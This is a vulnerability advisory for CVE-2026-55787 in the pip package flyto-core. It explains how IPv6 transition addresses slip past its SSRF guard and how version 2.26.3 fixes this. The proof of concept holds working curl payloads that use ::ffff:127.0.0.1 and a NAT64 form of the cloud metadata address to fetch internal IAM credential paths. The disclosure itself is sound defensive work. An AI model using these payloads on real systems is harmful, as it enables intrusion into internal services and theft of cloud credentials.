high · 7.1CVE-2026-55787Jul 6, 2026

CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses

Rohit Hatagale
AI Security Researcher, SecureLayer7

flyto-core's SSRF protection can be bypassed using IPv6 transition address forms like ::ffff:127.0.0.1 or 64:ff9b::a9fe:a9fe, letting a workflow author drive authenticated HTTP fetches to internal ser

Packageflyto-core
Ecosystempip
Affected<= 2.26.2
Fixed in2.26.3

The problem

The `is_private_ip()` function in `src/core/utils.py` checks resolved IP addresses against a hardcoded `PRIVATE_IP_RANGES` list. That list covers only native RFC 1918, loopback, link-local, and unique-local ranges. It does not cover IPv6 transition forms that embed a private IPv4 address: IPv4-mapped (`::ffff:0:0/96`), IPv4-compatible (`::/96`), 6to4 (`2002::/16`), or NAT64 well-known prefix (`64:ff9b::/96`, `64:ff9b:1::/48`).

Any workflow author who can reach `POST /v1/execute` can supply a transition-form URL like `http://[::ffff:127.0.0.1]:8080/...`. The guard returns `False` for these addresses, the `aiohttp` fetch proceeds, and the full response body is returned to the caller. This is a read SSRF.

The same guard is shared by roughly ten atomic modules including `http.request`, `browser.goto`, `image.download`, and `llm.chat`.

Proof of concept

A working proof-of-concept for CVE-2026-55787 in flyto-core, with the exact payload below.

bash
# The raw loopback literal is correctly blocked:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://127.0.0.1:8080/"}}'
# Response: {"ok":false,"error":"...Hostname blocked: 127.0.0.1..."}

# IPv4-mapped literal bypasses the guard and returns the internal response body:
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://[::ffff:127.0.0.1]:8080/latest/meta-data/iam/security-credentials/admin-role"}}'
# Response: {"ok":true,"data":{"status":200,"body":"FLYTO_SSRF_SENTINEL_INTERNAL_ec5d9a2f..."}}

# NAT64 WKP encoding of 169.254.169.254 also bypasses the guard
# (proceeds to network layer instead of raising SSRFError):
curl -s -X POST http://127.0.0.1:8333/v1/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"module_id":"http.get","params":{"url":"http://[64:ff9b::a9fe:a9fe]/latest/meta-data/"}}'

The root cause is that `is_private_ip()` performs a plain network-membership test against `PRIVATE_IP_RANGES` without first unwrapping any embedded IPv4 from the IPv6 address. Python's `ipaddress` module exposes `ipv4_mapped`, `sixtofour`, and the raw integer value for NAT64 detection, but none of those are consulted.

Even `::ffff:127.0.0.1`, which Python itself classifies as `is_private == True`, passes the guard unchanged because the membership test compares the outer IPv6 address against IPv4 CIDR blocks whose version numbers never match.

The fix added a `_extract_embedded_ipv4()` helper that unwraps the embedded IPv4 from all four transition families (IPv4-mapped, IPv4-compatible, 6to4, NAT64 WKP and local-use). `is_private_ip()` now builds a candidate list of the outer address plus any extracted IPv4, and blocks if either candidate falls in a private range.

Public destinations expressed in transition form, such as `::ffff:8.8.8.8`, remain allowed because the embedded IPv4 is itself public.

The fix

Upgrade to flyto-core 2.26.3. The patch extends `is_private_ip()` in `src/core/utils.py` to unwrap IPv4-mapped, IPv4-compatible, 6to4, and NAT64 transition addresses and range-check the embedded IPv4 alongside the outer IPv6 address. If immediate upgrade is not possible, set the `FLYTO_VSCODE_LOCAL_MODE` flag to `false` and restrict which users can submit workflow execution requests to `POST /v1/execute` via network-layer controls.

Reported by tonghuaroot.

References: [1][2]

Related research